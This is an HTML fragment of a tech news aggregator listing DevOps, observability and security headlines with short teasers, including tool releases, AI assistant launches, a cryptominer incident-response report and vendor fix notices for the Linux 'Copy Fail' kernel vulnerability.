        <a href="#h3-pgexporter-08" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 pgexporter 0.8
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pgexporter-08"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The pgexporter community is happy to announce version 0.8.0. New Features New vault security (migration needed) A lot of new metrics - including for PostgreSQL 18 Use Grafana 12 Initial alert subsyste</p>
<p><strong>📅 May 2, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/pgexporter-08-3287/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-velocity-trap-why-shipping-faster-is-making-systems-worse" class="group relative scroll-mt-24">
        <a href="#h3-the-velocity-trap-why-shipping-faster-is-making-systems-worse" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Velocity Trap: Why Shipping Faster Is Making Systems Worse
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-velocity-trap-why-shipping-faster-is-making-systems-worse"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>There is a particular flavour of engineering dysfunction that looks, from the outside, like peak performance. Deployments are frequent. Sprint velocity is high. The feature backlog is shrinking. Leade</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/the-velocity-trap-why-shipping-faster-is-making-systems-worse/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-faster-fixes-less-context-sharing-how-grafana-assistant-learns-your-infrastructure-before-you-even-ask" class="group relative scroll-mt-24">
        <a href="#h3-faster-fixes-less-context-sharing-how-grafana-assistant-learns-your-infrastructure-before-you-even-ask" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Faster fixes, less context sharing: how Grafana Assistant learns your infrastructure before you even ask
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-faster-fixes-less-context-sharing-how-grafana-assistant-learns-your-infrastructure-before-you-even-ask"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When an unexpected alert fires these days, most engineers&#39; first move is to ask their AI assistant for help.You ask why your checkout service is slow and the assistant gets to work, but it can&#39;t get a</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/how-grafana-assistant-learns-your-infrastructure-before-you-even-ask/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-the-ecosystem-explorer-project" class="group relative scroll-mt-24">
        <a href="#h3-introducing-the-ecosystem-explorer-project" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing the Ecosystem Explorer Project
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-the-ecosystem-explorer-project"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>OpenTelemetry is vast. The Java agent alone includes over 240 different auto-instrumentations. The Collector has hundreds of components. Python, JavaScript, Go, and .NET each have their own ecosystems</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 OpenTelemetry Blog</strong></p>
<p><a href="https://opentelemetry.io/blog/2026/introducing-the-ecosystem-explorer/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-escaping-the-snowflake-tax-how-we-cut-data-costs-by-over-50-at-new-relic" class="group relative scroll-mt-24">
        <a href="#h3-escaping-the-snowflake-tax-how-we-cut-data-costs-by-over-50-at-new-relic" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Escaping the "Snowflake Tax": How we cut data costs by over 50% at New Relic
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-escaping-the-snowflake-tax-how-we-cut-data-costs-by-over-50-at-new-relic"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn how New Relic used observability to safely migrate 1,000+ datasets from Snowflake to Iceberg, cutting costs by 50% without sacrificing reliability.</p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/observability/snowflake-to-iceberg-migration"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-3-signals-from-nab-show-2026-and-what-intelligent-observability-delivers" class="group relative scroll-mt-24">
        <a href="#h3-3-signals-from-nab-show-2026-and-what-intelligent-observability-delivers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 3 Signals from NAB Show 2026 and What Intelligent Observability Delivers
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-signals-from-nab-show-2026-and-what-intelligent-observability-delivers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>M&amp;E leaders converged at NAB Show 2026. Here&#39;s what the signals say about AI, streaming operations, and what New Relic Intelligent Observability delivers.</p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/news/nab-show-2026"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-two-commands-to-sentry-now-on-stripe-projects" class="group relative scroll-mt-24">
        <a href="#h3-two-commands-to-sentry-now-on-stripe-projects" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Two commands to Sentry: now on Stripe Projects
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-two-commands-to-sentry-now-on-stripe-projects"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Sentry is now a provider in Stripe Projects. Provision error monitoring, upgrade plans, and open your dashboard from the CLI or from your coding agent.</p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/sentry-stripe-projects/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-sentrys-integration-with-perforce-is-now-generally-available" class="group relative scroll-mt-24">
        <a href="#h3-sentrys-integration-with-perforce-is-now-generally-available" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Sentry's integration with Perforce is now generally available
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-sentrys-integration-with-perforce-is-now-generally-available"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Sentry&#39;s Perforce P4 integration is now GA, bringing stack trace linking, suspect commits, and on-demand source context to game dev and VFX teams.</p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/perforce-integration-ga/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-get-observability-in-the-terminal-for-you-and-your-agents-with-the-gcx-cli-tool" class="group relative scroll-mt-24">
        <a href="#h3-get-observability-in-the-terminal-for-you-and-your-agents-with-the-gcx-cli-tool" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Get observability in the terminal, for you and your agents, with the gcx CLI tool
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-get-observability-in-the-terminal-for-you-and-your-agents-with-the-gcx-cli-tool"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The way you write code is changing, which means the way you observe your systems and respond to issues needs to change, too. Engineers today spend much of their day working via command line, as agenti</p>
<p><strong>📅 Apr 28, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/get-observability-in-the-terminal-for-you-and-your-agents-with-the-gcx-cli-tool/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-secure-performance-testing-at-scale-introducing-secrets-management-for-grafana-cloud-k6" class="group relative scroll-mt-24">
        <a href="#h3-secure-performance-testing-at-scale-introducing-secrets-management-for-grafana-cloud-k6" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Secure performance testing at scale: Introducing secrets management for Grafana Cloud k6
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-secure-performance-testing-at-scale-introducing-secrets-management-for-grafana-cloud-k6"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>To simulate real user behavior, performance tests often rely on API keys, tokens, or credentials to interact with real systems. But as your testing suite grows, this sensitive data can start to sprawl</p>
<p><strong>📅 Apr 28, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/introducing-secrets-management-for-grafana-cloud-k6/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-seer-agent-the-answer-is-already-in-sentry-now-you-can-ask-for-it" class="group relative scroll-mt-24">
        <a href="#h3-introducing-seer-agent-the-answer-is-already-in-sentry-now-you-can-ask-for-it" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing Seer Agent: The answer is already in Sentry. Now you can ask for it.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-seer-agent-the-answer-is-already-in-sentry-now-you-can-ask-for-it"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Most AI debugging tools start from whatever you paste in. Seer Agent starts from everything Sentry already knows about your app. Now in open beta.</p>
<p><strong>📅 Apr 28, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/introducing-seer-agent/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-security" class="group relative scroll-mt-24">
        <a href="#h2-security" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔐 Security
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-security"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="group relative scroll-mt-24">
        <a href="#h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Threats Making WAVs - Incident Response to a Cryptomining Attack
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Guardicore security researchers describe and uncover a full analysis of a cryptomining attack, which hid a cryptominer inside WAV files. The report includes the full attack vectors, from detection, in</p>
<p><strong>📅 May 4, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/threats-making-wavs-incident-reponse-cryptomining-attack"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-pgmoneta-021" class="group relative scroll-mt-24">
        <a href="#h3-pgmoneta-021" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 pgmoneta 0.21
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pgmoneta-021"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The pgmoneta community is happy to announce version 0.21.0. New features New vault security (migration needed) Improvements to S3 storage engine Improvements to the pgmoneta-walinfo interactive mode S</p>
<p><strong>📅 May 2, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/pgmoneta-021-3288/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-bedrock-agentcore-is-now-available-in-the-south-america-so-paulo-region" class="group relative scroll-mt-24">
        <a href="#h3-amazon-bedrock-agentcore-is-now-available-in-the-south-america-so-paulo-region" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon Bedrock AgentCore is now available in the South America (São Paulo) Region
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-bedrock-agentcore-is-now-available-in-the-south-america-so-paulo-region"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon Bedrock AgentCore is now available in the AWS South America (São Paulo) Region. Amazon Bedrock AgentCore is the platform to build, connect, and optimize agents. It helps engineers ship agents f</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/05/agentcore-sao-paulo-region/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-freertos-202604-lts-now-available-with-enhanced-security-and-mqtt-v50" class="group relative scroll-mt-24">
        <a href="#h3-freertos-202604-lts-now-available-with-enhanced-security-and-mqtt-v50" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 FreeRTOS 202604 LTS now available with enhanced security and MQTT v5.0
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-freertos-202604-lts-now-available-with-enhanced-security-and-mqtt-v50"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>FreeRTOS 202604 LTS, a new Long Term Support release of the open-source real-time operating system for embedded devices, is now available. This release provides embedded systems developers and Interne</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/04/freertos-lts/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-anthropic-brings-ai-powered-security-scanning-to-enterprise-teams-with-claude-security" class="group relative scroll-mt-24">
        <a href="#h3-anthropic-brings-ai-powered-security-scanning-to-enterprise-teams-with-claude-security" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Anthropic Brings AI-Powered Security Scanning to Enterprise Teams With Claude Security
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-anthropic-brings-ai-powered-security-scanning-to-enterprise-teams-with-claude-security"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Anthropic&#39;s Claude Security is now in public beta for Enterprise customers, offering AI-powered codebase scanning and patch generation for security teams.</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/anthropic-brings-ai-powered-security-scanning-to-enterprise-teams-with-claude-security/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-fixes-available-for-cve-2026-31431-copy-fail-linux-kernel-local-privilege-escalation-vulnerability" class="group relative scroll-mt-24">
        <a href="#h3-fixes-available-for-cve-2026-31431-copy-fail-linux-kernel-local-privilege-escalation-vulnerability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Fixes available for CVE-2026-31431 (Copy Fail) Linux Kernel Local Privilege Escalation Vulnerability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-fixes-available-for-cve-2026-31431-copy-fail-linux-kernel-local-privilege-escalation-vulnerability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A local privilege escalation (LPE) vulnerability affecting the Linux kernel has been publicly disclosed on April 29, 2026. The vulnerability has been assigned CVE ID CVE-2026-31431 and is referred to </p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/copy-fail-vulnerability-fixes-available"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-cloud-ciso-perspectives-at-next-26-why-were-multicloud-and-multi-ai" class="group relative scroll-mt-24">
        <a href="#h3-cloud-ciso-perspectives-at-next-26-why-were-multicloud-and-multi-ai" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Cloud CISO Perspectives: At Next ‘26, why we’re multicloud and multi-AI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cloud-ciso-perspectives-at-next-26-why-were-multicloud-and-multi-ai"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Welcome to the second Cloud CISO Perspectives for April 2026. Today, Francis deSouza, COO Google Cloud and President, Security Products, explains why Google is multicloud and multi-AI, straight from N</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/identity-security/cloud-ciso-perspectives-next-26-why-we-re-multicloud-and-multi-ai/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-addressing-copyfail-in-suse-virtualization" class="group relative scroll-mt-24">
        <a href="#h3-addressing-copyfail-in-suse-virtualization" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Addressing copy.fail in SUSE Virtualization
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-addressing-copyfail-in-suse-virtualization"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Copy Fail (tracked as CVE-2026-31431) is a critical vulnerability in the Linux kernel that allows a local non-root user to gain full root access to the system. It is considered extremely dangerous bec</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/addressing-copy-fail-in-suse-virtualization/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-suse-responds-to-the-copyfail-vulnerability" class="group relative scroll-mt-24">
        <a href="#h3-suse-responds-to-the-copyfail-vulnerability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 SUSE responds to the copy.fail vulnerability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-suse-responds-to-the-copyfail-vulnerability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
